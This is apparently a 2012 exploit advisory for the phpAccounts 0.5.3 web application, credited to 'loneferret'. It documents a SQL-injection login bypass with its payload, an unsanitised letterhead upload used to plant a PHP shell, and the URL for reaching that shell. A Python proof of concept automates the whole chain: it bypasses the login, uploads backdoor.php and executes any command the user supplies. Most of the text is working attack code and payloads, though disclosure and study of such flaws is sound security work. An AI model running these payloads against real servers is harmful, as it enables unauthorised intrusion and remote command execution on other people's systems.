phpAccounts 0.5.3 SQL Injection

`######################################################################################  
# Exploit phpAcounts v.0.5.3 SQL Injection  
# Date: June 6nd 2012  
# Author: loneferret  
# Version: 0.5.3  
# Vendor Url: http://phpaccounts.com/  
# Tested on: Ubuntu Server 11.10  
######################################################################################  
# Discovered by: loneferret  
######################################################################################  
  
# Old app, still fun.  
  
Auth. Bypass:  
http://<server>/phpaccounts/index.php  
Username: x' or '1'='1'#  
Password: <whatever>  
  
Upload php shell in preferences  
Letterhead image upload does not sanitize file extensions.  
http://server/index.php?page=tasks&action=preferences  
  
Acess shell:  
Where '1' is the user's ID.  
http://server/phpaccounts/users/1/<filename>  
  
  
  
---- Python PoC ---------  
  
#!/usr/bin/python  
  
import re, mechanize  
import urllib, sys  
  
print "\n[*] phpAcounts v.0.5.3 Remote Code Execution"  
print "[*] Vulnerability discovered by loneferret"  
  
print "[*] Offensive Security - http://www.offensive-security.com\n"  
if (len(sys.argv) != 3):  
print "[*] Usage: poc.py <RHOST> <RCMD>"  
exit(0)  
  
rhost = sys.argv[1]  
rcmd = sys.argv[2]  
  
  
print "[*] Bypassing Login ."  
try:  
br = mechanize.Browser()  
br.open("http://%s/phpaccounts/index.php?frameset=true" % rhost)  
assert br.viewing_html()  
br.select_form(name="loginForm")  
br.select_form(nr=0)  
br.form['Login_Username'] = "x' or '1'#"  
br.form['Login_Password'] = "pwnd"  
print "[*] Triggering SQLi .."  
br.submit()  
except:  
print "[*] Oups..Something happened"  
exit(0)  
  
print "[*] Uploading Shell ..."  
try:  
br.open("http://%s/phpaccounts/index.php?page=tasks&action=preferences" % rhost)  
assert br.viewing_html()  
br.select_form(nr=0)  
br.form["Preferences[LETTER_HEADER]"] = 'test'  
br.form.add_file(open('backdoor.php'), "text/plain", "backdoor.php", name="letterhead_image")  
br.submit(nr=2)  
except:  
print "[*] Upload didn't work"  
exit(0)  
  
print "[*] Command Executed\n"  
try:  
shell = urllib.urlopen("http://%s/phpaccounts/users/1/backdoor.php?cmd=%s" % (rhost,rcmd))  
print shell.read()  
except:  
print "[*] Oups."  
exit(0)  
  
`